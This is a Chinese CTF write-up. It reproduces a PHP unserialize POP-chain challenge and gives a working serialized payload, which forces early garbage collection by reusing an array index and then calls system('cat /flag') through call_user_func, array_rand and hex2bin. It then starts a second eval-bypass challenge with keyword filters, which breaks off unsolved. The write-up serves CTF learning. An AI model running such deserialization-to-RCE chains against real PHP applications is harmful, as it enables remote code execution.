这里做个赛后复现,记录一下一些比赛的时候没懂的知识点
ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting(0); highlight_file(__FILE__); class AAA { public $s; public $a; public function __toString() { echo "you get 2 A <br>"; $p = $this->a; return $this->s->$p; } } class BBB { public $c; public $d; public function __get($name) { echo "you get 2 B <br>"; $a=$_POST['a']; $b=$_POST; $c=$this->c; $d=$this->d; if (isset($b['a'])) { unset($b['a']); } call_user_func($a,$b)($c)($d); } } class CCC { public $c; public function __destruct() { echo "you get 2 C <br>"; echo $this->c; } } if(isset($_GET['xy'])) { $a = unserialize($_GET['xy']); throw new Exception("noooooob!!!"); }
这里链子很简单
1 2 3 4 5 $C=new CCC(); $B=new BBB(); $A=new AAA(); $C->c=$A; $A->s=$B;
主要就是两个点需要理解一下throw new Exception(“noooooob!!!”)和 call_user_func($a,$b)($c)($d)
call_user_func($a,$b)($c)($d)这个还是比较好理解的 $b 作为**$a函数的参数,同时 $c作为 $b函数的参数, $d作为 $c函数的参数,既然这样,我们就可以对 $c设置为加密值, $b设置成解密函数, $a调用到 $b**
这里还需要注意一个点,就是**$b传进来是一个数组,那么我们只需要找到一个可以单独读取出数组的键或者值的函数即可,我这里就利用 array_rand函数读取键, array_rand函数虽然是随机读取,但是当unset($b['a']);
数组内再传入一个就是单一的键名,也就固定了 $b**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 class BBB { public $c='73797374656d'; public $d='cat /flag'; public function __get($name) { // echo "you get 2 B <br>"; $a = $_POST['a']; $b = $_POST; $c = $this->c; $d = $this->d; if (isset($b['a'])) { unset($b['a']); } // call_user_func($a, $b)($c)($d); } } POST a=array_rand&hex2bin=11
throw new Exception(“noooooob!!!”)这里需要用到一个 gc回收机制
__destruct() * 的调用需要当对象完成回收,而throw new Exception(“noooooob!!!”)会产生异常中断进程,导致 __destruct() 无法被调用,所以我们需要强制让php的GC去对对象进行回收
一种方法就是我们提前完成对象的回收,也就是对象为NULL 时也是可以触发**__destruct的,我们在原有反序列化的链子的基础上加上一个数组,数组定义为 NULL**,同时修改反序列化后的索引,是的第二个索引依旧为第一个索引,从而实现GC,具体原理我这里稍微引用一下
由于反序列化过程允许一遍又一遍地传递相同的索引,所以不断填充空间。一旦重新使用数组的索引,旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update,它将调用旧元素的析构函数(Destructor)。每当zval被销毁时,都会涉及到垃圾回收算法。这也就意味着,所有创建的数组都会开始填充垃圾缓冲区,直至超出其空间导致对gc_collect_cycles的调用
也就是说索引的重复使用导致生成的数组超出了垃圾缓冲区,从而实现了提前GC
还有一种方法就是对象被unset()处理时,也可以触发GC,这个应该比较好理解,手动给他销毁回收了,防止异常处理中断
ok,我们回到题目,这里就用第一种方法来做复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php error_reporting(0); highlight_file(__FILE__); class AAA { public $s; public $a; public function __toString() { // echo "you get 2 A <br>"; $p = $this->a; return $this->s->$p; } } class BBB { public $c='73797374656d'; public $d='cat /flag'; public function __get($name) { // echo "you get 2 B <br>"; $a = $_POST['a']; $b = $_POST; $c = $this->c; $d = $this->d; if (isset($b['a'])) { unset($b['a']); } // call_user_func($a, $b)($c)($d); } } class CCC { public $c; public function __destruct() { // echo "you get 2 C <br>"; // echo $this->c; } } $C=new CCC(); $B=new BBB(); $A=new AAA(); $C->c=$A; $A->s=$B; echo serialize($C); echo 1111; $result=serialize([$C, null]); //echo serialize([$C, null]); $result = str_replace("i:1", "i:0", $result); echo $result;
1 a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:12:"73797374656d";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:0;N;}
牢牢记住,逝者为大 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file(__FILE__); function Kobe($cmd) { if (strlen($cmd) > 13) { die("see you again~"); } if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) { die("肘死你"); } foreach ($_GET as $val_name => $val_val) { if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) { return "what can i say"; } } return $cmd; } $cmd = Kobe($_GET['cmd']); echo "#man," . $cmd . ",manba out"; echo "<br>"; eval("#man," . $cmd . ",mamba out");
说实话第一眼看,限制的挺死的感觉
第一层 $cmd 长度不超过13
第二层 $cmd 中不能含有echo exec eval system fputs . / \
(严格限制,无法使用大小写绕过)
第二层 $cmd 中不能含有bin mv cp ls | f a l ? * >